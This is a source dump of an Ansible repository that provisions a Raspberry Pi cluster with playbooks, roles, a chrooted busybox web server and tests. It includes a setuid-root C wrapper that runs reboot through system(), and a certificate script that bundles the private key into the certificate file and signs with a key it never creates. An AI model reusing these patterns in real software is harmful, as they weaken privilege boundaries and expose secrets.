9 | hardstatus string '%{= kg}[ %{G}%H %{g}][%= %{= kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{B} %m-%d %{W}%c %{g}]'
10 |
--------------------------------------------------------------------------------
/ansible/files/readme.md:
--------------------------------------------------------------------------------
1 | # files/
2 |
3 | Files used in Ansible roles.
--------------------------------------------------------------------------------
/ansible/files/reboot.c/install.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # a setuid c wrapper for /sbin/reboot
4 |
5 | rpilogit () {
6 | echo -e "rpicluster: $1 \n";
7 | logger -t rpicluster "$1";
8 | }
9 |
10 | # test /usr/bin/sudo works OK
11 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1;
12 |
13 | rpilogit "started reboot_setuid build";
14 |
15 | # clean up old
16 | if [ -f reboot_setuid ]; then
17 | rm -fv -- reboot_setuid
18 | fi
19 |
20 | # compile (static linking)
21 | gcc -static -fpic -fpie reboot_setuid.c -o reboot_setuid || exit 1;
22 |
23 | # perms
24 | /usr/bin/sudo chown root:root reboot_setuid
25 | /usr/bin/sudo chmod 0755 reboot_setuid
26 |
27 | # set setuid
28 | /usr/bin/sudo chmod +s reboot_setuid
29 |
30 | # remove check old if exists
31 | if [ -f /opt/cluster/bin/reboot_setuid ]; then
32 | /usr/bin/sudo chattr -i /opt/cluster/bin/reboot_setuid
33 | /usr/bin/sudo rm -rv -- /opt/cluster/bin/reboot_setuid
34 | fi
35 |
36 | # copy new
37 | /usr/bin/sudo mv -v -- reboot_setuid /opt/cluster/bin/reboot_setuid
38 | /usr/bin/sudo chattr +i /opt/cluster/bin/reboot_setuid
39 |
40 | rpilogit "created reboot_setuid";
41 |
--------------------------------------------------------------------------------
/ansible/files/reboot.c/reboot_setuid.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | int main()
7 | {
8 | setuid( 0 );
9 | system ("/sbin/reboot now");
10 | return 0;
11 | }
12 |
--------------------------------------------------------------------------------
/ansible/files/ssl-ca/gen.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # test /usr/bin/sudo works OK
4 | /usr/bin/sudo id | grep "uid=0(root)" > /dev/null 2>&1 || exit 1;
5 |
6 | # Generate an RSA key for the CA:
7 | openssl genrsa -out b3rry.clust0r.key 2048
8 |
9 | # show debug info:
10 | #openssl rsa -in b3rry.clust0r.key -noout -text
11 |
12 | # extract the public rsa key from the private rsa key
13 | openssl rsa -in b3rry.clust0r.key -pubout -out b3rry.clust0r.pubkey
14 |
15 | # show debug info:
16 | #openssl rsa -in b3rry.clust0r.pubkey -pubin -noout -text
17 |
18 | # generate a CSR
19 | openssl req -new -key bc.key -out bc.csr -subj "/C=AU/ST=Sydney/L=Sydney/O=rpi_cluster/OU=rpi_cluster/CN=status.b3rry.clust0r"
20 |
21 | # show debug info:
22 | #openssl req -new -out bc.csr -config bc.conf
23 | #openssl req -in bc.csr -noout -text
24 |
25 | # Create CA keys
26 | openssl genrsa -out ca.key 2048
27 | openssl req -new -x509 -key ca.key -out ca.crt -subj "/C=AU/ST=Sydney/L=Sydney/O=rpi_cluster CA/OU=rpi_cluster IT"
28 |
29 | # sign CSR
30 | openssl x509 -req -in bc.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out bc.crt
31 |
32 | # show debug info:
33 | #openssl x509 -in bc.crt -noout -text
34 |
35 | cat bc.crt ca.crt > bc.bundle.crt
36 | cat bc.key >> bc.bundle.crt
37 |
38 | /usr/bin/sudo cp ca.crt /usr/local/share/ca-certificates/
39 | /usr/bin/sudo update-ca-certificates
40 |
41 | # EOF
42 |
--------------------------------------------------------------------------------
/ansible/files/test-rpideployer.py:
--------------------------------------------------------------------------------
1 | # check deployer
2 |
3 | # use:
4 | # $ pytest test-rpideployer.py
5 |
6 | # pi cluster deployer ----------------------------------------------------------
7 |
8 | def test_hostinfor_file(host):
9 | hostname = host.file("/opt/cluster/data/info_host.txt")
10 | assert hostname.contains("Raspberry Pi Cluster")
11 |
12 | def test_hostname_file(host):
13 | infotxt = host.file("/opt/cluster/data/info_roles.txt")
14 | assert infotxt.contains("Ansible Roles run against this host")
15 |
16 | # general rpi deployer role (psi) ----------------------------------------------
17 |
18 | def test_haveged_running_and_enabled(host):
19 | haveged = host.service("haveged")
20 | assert haveged.is_running
21 | assert haveged.is_enabled
22 |
23 | #-------------------------------------------------------------------------------
24 |
--------------------------------------------------------------------------------
/ansible/files/welcome.c/makefile:
--------------------------------------------------------------------------------
1 | welcome : welcome.c
2 | gcc -o welcome welcome.c -I.
3 | test : welcome.c
4 | echo testing
5 | clean : welcome.c
6 | rm -fv welcome
7 | install : welcome.c
8 | cp welcome /usr/local/bin/rpi-welcome
9 |
--------------------------------------------------------------------------------
/ansible/files/welcome.c/welcome.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | /*
8 | * R-Pi Welcome script.
9 | *
10 | * make clean && make && make test && make install
11 | */
12 |
13 | int main() {
14 | printf("\n");
15 | printf("Raspberry Pi cluster node. \n");
16 | system( "/bin/uname -a" );
17 | printf("\n");
18 | return 0;
19 | }
20 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-all-maint.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # maintenance role Playbook
3 |
4 |
5 | - name: gather facts on other hosts
6 | hosts: all
7 | gather_facts: True
8 | serial: 8
9 | roles:
10 | - ansible-pre-role
11 |
12 |
13 | - name: LanServices Main (Alpha and Beta)
14 | hosts: lanservices
15 | gather_facts: false
16 | serial: 1
17 | max_fail_percentage: 49
18 | roles:
19 | - upgrades
20 | - reboot
21 |
22 |
23 | - name: upgrades compute nodes two at a time
24 | hosts: compute
25 | gather_facts: false
26 | serial: 2
27 | max_fail_percentage: 49
28 | roles:
29 | - upgrades
30 |
31 |
32 | - name: reboot compute nodes one by one
33 | hosts: compute
34 | gather_facts: false
35 | serial: 1
36 | roles:
37 | - reboot
38 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-all-ssh.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # setup access and secure vanilla Raspbian install.
3 | # default user/pass: pi / raspberry
4 |
5 |
6 | - name: setup access to fresh Rpi
7 | hosts: all
8 | serial: 8
9 | roles:
10 | - ssh-server
11 | - userac
12 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-compute-k3s.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Compute webapp container hosting
3 |
4 |
5 | - name: gather facts on other hosts
6 | hosts: all
7 | gather_facts: True
8 | serial: 8
9 | roles:
10 | - ansible-pre-role
11 |
12 |
13 | - name: setup container system
14 | hosts: docker
15 | max_fail_percentage: 49
16 | gather_facts: false
17 | roles:
18 | - docker
19 | - k3s
20 |
21 |
22 | - name: gather facts on nodes
23 | hosts: all
24 | serial: 8
25 | gather_facts: True
26 | roles:
27 | - ansible-post-role
28 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-compute.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Compute base
3 |
4 |
5 | - name: gather facts on other hosts
6 | hosts: all
7 | gather_facts: True
8 | serial: 8
9 | roles:
10 | - ansible-pre-role
11 |
12 |
13 | - name: Compute nodes main
14 | hosts: compute
15 | gather_facts: false
16 | max_fail_percentage: 49
17 | roles:
18 | - userac
19 | - base-system
20 | - hostsfile
21 | - ufw
22 | - rpilog
23 | - ssh-server
24 | - haveged
25 | - sysstat
26 | - ntp-client
27 | - distcc
28 | - golang
29 | - group-compute
30 |
31 |
32 | - name: gather facts on nodes
33 | hosts: all
34 | gather_facts: True
35 | serial: 8
36 | roles:
37 | - ansible-post-role
38 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-deployer.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Setup Rpi Deployer (Psi)
3 |
4 |
5 | - name: Deployer
6 | hosts: deploy
7 | gather_facts: True
8 | roles:
9 | - ansible-pre-role
10 | - base-system
11 | - i3-wm
12 | - userac
13 | - ssh-server
14 | - ufw
15 | - rpilog
16 | - haveged
17 | - sysstat
18 | - uptimed
19 | - ntp-server
20 | - redis
21 | - golang
22 | - docker
23 | - yarn
24 | - hugo
25 | - group-deployer
26 | - ansible-post-role
27 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-lanservices.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # LanServices main (Alpha and Beta)
3 |
4 |
5 | - name: gather facts on other hosts
6 | hosts: all
7 | gather_facts: True
8 | roles:
9 | - ansible-pre-role
10 |
11 |
12 | # do one server at a time (serial 1)
13 | # stop the play if a task on a host fails
14 | - name: LanServices Main (Alpha and Beta)
15 | hosts: lanservices
16 | gather_facts: false
17 | serial: 1
18 | any_errors_fatal: true
19 | roles:
20 | - userac
21 | - base-system
22 | - hostsfile
23 | - rpilog
24 | - ufw
25 | - ssh-server
26 | - haveged
27 | - uptimed
28 | - golang
29 | - ntp-server
30 | - ftp-server
31 | - dns-server
32 | - dhcp-server
33 | - dhcp-client
34 | - busybox-httpd
35 | - keepalived
36 | - group-lanservices
37 |
38 |
39 | - name: gather facts on nodes
40 | hosts: all
41 | serial: 8
42 | gather_facts: True
43 | roles:
44 | - ansible-post-role
45 |
--------------------------------------------------------------------------------
/ansible/playbook-rpi-single-role.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Run a single ansible role.
3 | #
4 | # Note: if there are any other roles in the meta/main.yml dependencies they
5 | # will also be pulled in and run.
6 | #
7 | # Examples:
8 | #
9 | # $ ansible-playbook -e "runtherole=upgrades" playbook-rpi-single-role.yml
10 | # $ ansible-playbook -e "runtherole=puppet-agent" --limit="compute" playbook-rpi-single-role.yml
11 | # $ ansible-playbook -e "runtherole=base-system" -i ~/temp.ini playbook-rpi-single-role.yml
12 |
13 | - name: single role
14 | hosts: all
15 | roles:
16 | - "{{ runtherole }}"
17 |
--------------------------------------------------------------------------------
/ansible/requirements.txt:
--------------------------------------------------------------------------------
1 | ansible
2 | ansible-lint
3 | ansible-runner
4 | redis
5 | tox
6 | passlib
7 | invoke
8 | httpie
9 | testinfra
10 | diceware
11 | docker
12 | molecule
--------------------------------------------------------------------------------
/ansible/roles/ansible-post-role/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Run at the end of each playbook
3 |
4 | - name: Refresh inventory
5 | meta: refresh_inventory
6 |
7 |
8 | - debug: msg="ansible-post-role "
9 | tags: [ansiblepost]
10 |
11 |
12 | # keep a tally of how many times ansible has run
13 | - name: increment rpi deployer ansible runcount
14 | command: /usr/bin/redis-cli incr /rpi/deployer/ansible/runcount
15 | delegate_to: localhost
16 | ignore_errors: False
17 | check_mode: no
18 | changed_when: False
19 | tags: [ansiblepost]
20 | run_once: True
21 |
--------------------------------------------------------------------------------
/ansible/roles/ansible-pre-role/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # For debugging, and running on all hosts to gather facts.
3 |
4 |
5 | - meta: clear_host_errors
6 |
7 |
8 | # ping all hosts in inventory
9 | - name: ping
10 | ping:
11 |
12 |
13 | - name: "re-run setup "
14 | setup: ~
15 |
16 |
17 | - debug: msg="inventory hostname {{ inventory_hostname }} "
18 | changed_when: False
19 | tags: [ansiblepre]
20 | ignore_errors: True
21 |
22 |
23 | - debug: msg="ansible hostname {{ ansible_hostname }} "
24 | changed_when: False
25 | tags: [ansiblepre]
26 | ignore_errors: True
27 |
28 |
29 | # syslog
30 | - name: ansible pre role syslog
31 | syslogger:
32 | msg: "rpicluster ansible-pre-role gathering facts"
33 | priority: "notice"
34 | facility: "daemon"
35 | log_pid: true
36 | ignore_errors: True
37 | changed_when: False
38 | run_once: True
39 | tags: [ansiblepre]
40 | delegate_to: localhost
41 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/.ansible-lint:
--------------------------------------------------------------------------------
1 | parseable: true
2 | quiet: true
3 | skip_list:
4 | - '503'
5 | use_default_rules: true
6 | verbosity: 1
--------------------------------------------------------------------------------
/ansible/roles/base-system/.yamllint:
--------------------------------------------------------------------------------
1 | ---
2 | # Based on ansible-lint config
3 | extends: default
4 |
5 | rules:
6 | braces:
7 | max-spaces-inside: 1
8 | level: error
9 | brackets:
10 | max-spaces-inside: 1
11 | level: error
12 | colons:
13 | max-spaces-after: -1
14 | level: error
15 | commas:
16 | max-spaces-after: -1
17 | level: error
18 | comments: disable
19 | comments-indentation: disable
20 | document-start: disable
21 | empty-lines:
22 | max: 3
23 | level: error
24 | hyphens:
25 | level: error
26 | indentation: disable
27 | key-duplicates: enable
28 | line-length: disable
29 | new-line-at-end-of-file: disable
30 | new-lines:
31 | type: unix
32 | trailing-spaces: disable
33 | truthy: disable
34 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/files/etc/apt/apt.conf.d/00local-rpi-cluster:
--------------------------------------------------------------------------------
1 | # R-Pi Cluster Ansible managed file
2 | Dpkg::Options {
3 | "--force-confdef";
4 | "--force-confold";
5 | }
6 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/files/etc/issue:
--------------------------------------------------------------------------------
1 | ----------------------
2 | Welcome to R-Pi Cluster
3 | \s \r \v \m
4 | host: \n \o
5 | at: \d
6 | \l \b \U
7 | ----------------------
8 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/files/rpihw.fact:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # to test this fact is loaded:
4 | # ansible -m setup beta | grep -A 4 ansible_local
5 |
6 | # this MAC prefix belongs to the raspberry pi foundation
7 | # see https://hwaddress.com/?q=B827EB000000
8 | mymac=$(ip addr show | grep 'b8:27:eb:' | awk '{print $2'} | wc -c);
9 |
10 | if [ $mymac -eq "18" ]; then
11 | rpihwstate="True";
12 | else
13 | rpihwstate="False";
14 | fi
15 |
16 | cat < /root/usbguard-rules.conf
12 |
13 | # vi rules.conf (review/modify the rule set)
14 |
15 | sudo install -m 0600 -o root -g root /root/usbguard-rules.conf /etc/usbguard/rules.conf
16 |
17 | sudo systemctl restart usbguard
--------------------------------------------------------------------------------
/ansible/roles/base-system/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: base-system
4 | author: crgm
5 | description: base config to be applied on every rpi node
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/molecule/default/Dockerfile.j2:
--------------------------------------------------------------------------------
1 | # Molecule managed
2 |
3 | {% if item.registry is defined %}
4 | FROM {{ item.registry.url }}/{{ item.image }}
5 | {% else %}
6 | FROM {{ item.image }}
7 | {% endif %}
8 |
9 | {% if item.env is defined %}
10 | {% for var, value in item.env.items() %}
11 | {% if value %}
12 | ENV {{ var }} {{ value }}
13 | {% endif %}
14 | {% endfor %}
15 | {% endif %}
16 |
17 | RUN if [ $(command -v apt-get) ]; then apt-get update && apt-get install -y python sudo bash ca-certificates iproute2 && apt-get clean; \
18 | elif [ $(command -v dnf) ]; then dnf makecache && dnf --assumeyes install python sudo python-devel python*-dnf bash iproute && dnf clean all; \
19 | elif [ $(command -v yum) ]; then yum makecache fast && yum install -y python sudo yum-plugin-ovl bash iproute && sed -i 's/plugins=0/plugins=1/g' /etc/yum.conf && yum clean all; \
20 | elif [ $(command -v zypper) ]; then zypper refresh && zypper install -y python sudo bash python-xml iproute2 && zypper clean -a; \
21 | elif [ $(command -v apk) ]; then apk update && apk add --no-cache python sudo bash ca-certificates; \
22 | elif [ $(command -v xbps-install) ]; then xbps-install -Syu && xbps-install -y python sudo bash ca-certificates iproute2 && xbps-remove -O; fi
23 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/molecule/default/INSTALL.rst:
--------------------------------------------------------------------------------
1 | *******
2 | Docker driver installation guide
3 | *******
4 |
5 | Requirements
6 | ============
7 |
8 | * Docker Engine
9 |
10 | Install
11 | =======
12 |
13 | Please refer to the `Virtual environment`_ documentation for installation best
14 | practices. If not using a virtual environment, please consider passing the
15 | widely recommended `'--user' flag`_ when invoking ``pip``.
16 |
17 | .. _Virtual environment: https://virtualenv.pypa.io/en/latest/
18 | .. _'--user' flag: https://packaging.python.org/tutorials/installing-packages/#installing-to-the-user-site
19 |
20 | .. code-block:: bash
21 |
22 | $ pip install 'molecule[docker]'
23 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/molecule/default/molecule.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependency:
3 | name: galaxy
4 | driver:
5 | name: docker
6 | lint:
7 | name: yamllint
8 | platforms:
9 | - name: instance
10 | image: debian:10
11 | provisioner:
12 | name: ansible
13 | lint:
14 | name: ansible-lint
15 | x: ["ANSIBLE503"]
16 | verifier:
17 | name: testinfra
18 | lint:
19 | name: flake8
20 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/molecule/default/playbook.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: Converge
3 | hosts: all
4 | roles:
5 | - role: base-system
6 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/molecule/default/tests/test_default.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | import testinfra.utils.ansible_runner
4 |
5 | testinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(
6 | os.environ['MOLECULE_INVENTORY_FILE']
7 | ).get_hosts('all')
8 |
9 |
10 | def test_hosts_file(host):
11 | f = host.file('/opt/cluster/data/info_roles.txt')
12 | assert f.exists
13 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/tasks/apt-repo.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="Base System apt-repo"
3 |
4 |
5 | - name: apt-repo remove default repository
6 | apt_repository:
7 | repo: deb http://raspbian.raspberrypi.org/raspbian/ stretch main contrib non-free rpi
8 | state: absent
9 | become: true
10 |
11 |
12 | - name: apt-repo add raspbian mirror
13 | apt_repository:
14 | repo: "deb {{ apt_local_mirror }} stretch main contrib non-free rpi"
15 | state: present
16 | update_cache: true
17 | become: true
18 |
19 |
20 | - name: copy apt config
21 | copy:
22 | src: etc/apt/apt.conf.d/00local-rpi-cluster
23 | dest: /etc/apt/apt.conf.d/00local-rpi-cluster
24 | mode: 0644
25 | owner: root
26 | group: root
27 | become: true
--------------------------------------------------------------------------------
/ansible/roles/base-system/tasks/cleanup.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="Base System cleanup"
3 |
4 |
5 | # Remove Apt packages (in defaults/main.yml)
6 | - name: Remove these packages
7 | apt:
8 | name: "{{ item.rmapt }}"
9 | state: absent
10 | with_items: "{{ package_remove }}"
11 | become: true
12 |
13 |
14 | - name: disable bluetooth
15 | systemd:
16 | name: bluetooth
17 | enabled: no
18 | masked: no
19 | become: true
20 | tags: [kernelmod]
21 | ignore_errors: true
22 |
23 |
24 | - name: stop these services
25 | service:
26 | name: "{{ item.name }}"
27 | state: stopped
28 | enabled: no
29 | with_items: "{{ services_to_stop }}"
30 | changed_when: false
31 | become: true
--------------------------------------------------------------------------------
/ansible/roles/base-system/tasks/kernelmod.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="Base System kernelmod"
3 |
4 |
5 | # change in role vars folder
6 | - name: blacklist these kernel modules
7 | kernel_blacklist:
8 | name: "{{ item.name }}"
9 | state: present
10 | with_items: "{{ kern_blacklist_mod }}"
11 | become: true
12 | ignore_errors: true
13 | tags: [kernelmod]
14 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/tasks/localization.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - debug: msg="Base System localization"
3 |
4 |
5 | # Set timezone UTC
6 | - name: set timezone to UTC
7 | timezone:
8 | name: UTC
9 | become: true
10 | tags: [common]
11 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/tasks/sslcert.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # R-Pi cluster SSL
3 | - debug: msg="Base System sslcert"
4 |
5 |
6 | - name: Generate OpenSSL private key for host
7 | openssl_privatekey:
8 | path: /opt/cluster/data/ssl-ansible-private.pem
9 |
10 |
11 | - name: Generate an OpenSSL public key from ptivate key
12 | openssl_publickey:
13 | path: /opt/cluster/data/ssl-ansible-public.pem
14 | privatekey_path: /opt/cluster/data/ssl-ansible-private.pem
15 |
16 |
17 | - name: get OpenSSL public key.
18 | fetch:
19 | src: /opt/cluster/data/ssl-ansible-public.pem
20 | dest: /opt/cluster/backup
21 |
22 |
23 | - name: Generate an OpenSSL CSR.
24 | openssl_csr:
25 | path: /opt/cluster/data/{{ ansible_hostname }}.csr
26 | privatekey_path: /opt/cluster/data/ssl-ansible-private.pem
27 | common_name: "{{ ansible_hostname }}"
28 |
29 |
30 | - name: get OpenSSL CSR.
31 | fetch:
32 | src: /opt/cluster/data/{{ ansible_hostname }}.csr
33 | dest: /opt/cluster/backup
34 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/tasks/sysctl.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # Raspbian /etc/sysctl.conf tuning
3 | - debug: msg="Base System sysctl"
4 |
5 |
6 | # change in role vars folder
7 | - name: change etc sysctl conf settings
8 | sysctl:
9 | name: "{{ item.name }}"
10 | value: "{{ item.value }}"
11 | sysctl_set: "{{ item.set }}"
12 | state: "{{ item.state }}"
13 | reload: true
14 | with_items: "{{ sysctl_settings }}"
15 | become: true
16 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/templates/etc/rc_local.j2:
--------------------------------------------------------------------------------
1 | #!/bin/sh -e
2 | #
3 | # Raspberry Pi Cluster rc.local
4 | # {{ ansible_managed }}
5 | # created by role: {{role_path|basename}}
6 | #
7 |
8 | rpilogit () {
9 | echo -e "rpicluster: $1 \n";
10 | logger -t rpicluster "$1";
11 | }
12 |
13 | # create a temp file
14 | rclocal_temp=$(mktemp -d)
15 |
16 | # Print the IP address
17 | _IP=$(hostname -I) || true
18 | if [ "$_IP" ]; then
19 | printf "My IP address is %s\n" "$_IP"
20 | fi
21 |
22 | # set static arp entry to default gateway
23 | arp -s {{ rpi_net_default_gw }} {{ rpi_net_default_gw_mac }}
24 |
25 |
26 | touch -f ${rclocal_temp}/boot.txt
27 | echo "OK" > ${rclocal_temp}/boot.txt
28 |
29 | rpilogit "/etc/rc.local tempdir: $rclocal_temp"
30 | rpilogit "/etc/rc.local finished";
31 | exit 0
32 |
--------------------------------------------------------------------------------
/ansible/roles/base-system/templates/rpihost.j2:
--------------------------------------------------------------------------------
1 | --------------------------------------------------------------------------------
2 | .......:: Raspberry Pi Cluster ::.......
3 | --------------------------------------------------------------------------------
4 |
5 | Host: {{ ansible_hostname }}
6 | MAC: {{ ansible_eth0.macaddress }}
7 | Addresses: {{ ansible_all_ipv4_addresses }}
8 |
9 | Groups: {{ group_names }}
10 |
11 | connection: {{ ansible_connection }}
12 | {% if ansible_env.SSH_CLIENT is defined %}
13 | SSH client: {{ ansible_env.SSH_CLIENT }}
14 | {% endif %}
15 | {% if ansible_env.SSH_CONNECTION is defined %}
16 | SSH Con: {{ ansible_env.SSH_CONNECTION }}
17 | {% endif %}
18 | PWD env: {{ ansible_env.PWD }}
19 | User ID: {{ ansible_user_id }}
20 |
21 | Arch: {{ ansible_architecture }}
22 | Bios: {{ ansible_bios_version }}
23 | Distro: {{ ansible_distribution }}
24 | Release: {{ ansible_distribution_release }}
25 | Version: {{ ansible_distribution_version }}
26 | Kernel: {{ ansible_kernel }}
27 | Python V: {{ ansible_python_version }}
28 |
29 | Devices: {{ ansible_device_links.ids }}
30 |
31 | --------------------------------------------------------------------------------
32 | role: {{role_path|basename}}
33 | play: {{ ansible_play_name }}
34 | --------------------------------------------------------------------------------
35 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/files/bbhttpd.service:
--------------------------------------------------------------------------------
1 | [Unit]
2 | Description=bbhttpd
3 | Requires=network-online.target
4 | After=network-online.target
5 |
6 | [Service]
7 | Environment=GOMAXPROCS=1
8 | Restart=on-failure
9 | ExecStart=/usr/sbin/chroot --userspec=bbweb:bbweb /opt/chroot_bb /bin/busybox httpd -p 1080 -h /www/ -v -f
10 |
11 |
12 | KillSignal=SIGINT
13 |
14 | [Install]
15 | WantedBy=multi-user.target
16 |
17 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/files/glinder1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/ansible/roles/busybox-httpd/files/glinder1.png
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/files/hello:
--------------------------------------------------------------------------------
1 | #!/bin/busybox sh
2 |
3 | # for /opt/chroot_bb/www/cgi-bin/hello
4 |
5 | # strict mode
6 | set -e;
7 |
8 | # headers
9 | echo "Content-type: text/html";
10 | echo "Content-Location: *.b3rry.clust0r";
11 | echo "Access-Control-Allow-Origin: *";
12 | echo "Access-Control-Allow-Origin: localhost";
13 | echo "";
14 |
15 | # get info
16 | thedate=$(/bin/busybox date || exit 1;)
17 | hostname=$(/bin/busybox hostname || exit 1;)
18 | uname=$(/bin/busybox uname -a || exit 1;)
19 | uptime=$(/bin/busybox uptime || exit 1;)
20 | memory=$(/bin/busybox free || exit 1;)
21 |
22 | # return html
23 | echo "";
24 | echo "R-Pi status";
25 | echo "";
26 | echo "hostname: $hostname
";
27 | echo "date: $thedate
";
28 | echo "uptime: $uptime
";
29 | echo "uname: $uname
";
30 | echo "memory:
$memory
";
31 | echo "";
32 | echo "";
33 | echo "";
34 |
35 | # EOF
36 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/files/httpd.conf:
--------------------------------------------------------------------------------
1 | # BusyBox httpd config
2 |
3 | # access
4 | A:*
5 |
6 | # Show index.html when a directory is requested
7 | I:index.html
8 |
9 | # MIME types
10 | .xml:text/xml
11 | .json:application/json
12 |
13 | # run xxx.php through an interpreter
14 | #*.php:/path/php
15 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: busybox-httpd
4 | author: crgm
5 | description: a small webserver (busybox httpd) run in a chroot.
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
10 | - name: Raspbian
11 | versions:
12 | - stretch
13 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/readme.md:
--------------------------------------------------------------------------------
1 |
2 | BusyBox contains a small httpd server.
3 |
4 | * https://busybox.net/about.html
5 | * https://wiki.openwrt.org/doc/howto/http.httpd
6 | * https://git.busybox.net/busybox/tree/networking/httpd.c
7 |
8 | files/chroot_bb.sh builds a chroot for it to run under, and installs a systemd service.
9 |
10 | The Alpha and Beta nodes run this (port 1080)
11 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/templates/ansible-index.j2:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | R-Pi - {{ ansible_nodename }}
5 |
6 |
7 |
8 |
19 |
20 |
21 |
22 | R-Pi BB httpd
23 | Running on: {{ ansible_nodename }}.
24 |
25 |
26 |
27 |
30 |
31 |

32 |
33 |
34 |
35 | ssh connection: {{ ansible_env.SSH_CONNECTION }}
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/ansible/roles/busybox-httpd/vars/main.yml:
--------------------------------------------------------------------------------
1 | # busybox httpd chroot vars
2 |
3 | bbhttpd_src_tmp: "/opt/cluster/lanservice/bbhttpd_src/"
4 |
5 | files: [
6 | {src: 'bbhttpd.service'},
7 | {src: 'hello'},
8 | {src: 'glinder1.png'},
9 | {src: 'httpd.conf'},
10 | {src: 'chroot_bb.sh'}
11 | ]
12 |
--------------------------------------------------------------------------------
/ansible/roles/dhcp-client/tasks/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | # only used for nodes that have a static IP set,
3 | # as this is where you set static IP's on Raspbian now.
4 | #
5 | # the rpi_ip value from the inventory is used.
6 |
7 | - debug: msg="set static IP with dhcpcd "
8 | - debug: msg="IP will be {{ hostvars[inventory_hostname]['rpi_ip'] }}"
9 |
10 |
11 | # Network settings (static IP is set here)
12 | - name: static ip in dhcp client opts
13 | template:
14 | src: dhcp-client.j2
15 | dest: /etc/dhcpcd.conf
16 | mode: 0644
17 | owner: root
18 | group: root
19 | backup: true
20 | become: true
21 | tags: [dhcpclient]
22 |
23 |
24 | # log
25 | - name: output to rpicluster log
26 | command: logger -t rpicluster ansible dhcp-client role ran
27 | tags: [dhcpclient]
28 | changed_when: False
29 |
30 |
31 | - name: roles info txt
32 | lineinfile:
33 | path: /opt/cluster/data/info_roles.txt
34 | line: "{{ role_path|basename }}"
35 | owner: root
36 | group: root
37 | mode: 0444
38 | become: true
39 | tags: [dhcpclient]
40 |
--------------------------------------------------------------------------------
/ansible/roles/dhcp-server/defaults/main.yml:
--------------------------------------------------------------------------------
1 | # enable server?
2 | rpi_dhcpd_enabled: false
3 |
--------------------------------------------------------------------------------
/ansible/roles/dhcp-server/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 |
3 |
4 | # restart DHCP server
5 | - name: isc-dhcp-server-reload
6 | service:
7 | name: isc-dhcp-server
8 | state: restarted
9 | become: true
10 | when: rpi_dhcpd_enabled == true
11 |
--------------------------------------------------------------------------------
/ansible/roles/dhcp-server/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | galaxy_info:
3 | role_name: dhcp-server
4 | author: crgm
5 | description: A DHCP server for the cluster
6 | company: crgm inc
7 | license: license (no)
8 | min_ansible_version: 2.8
9 | platforms:
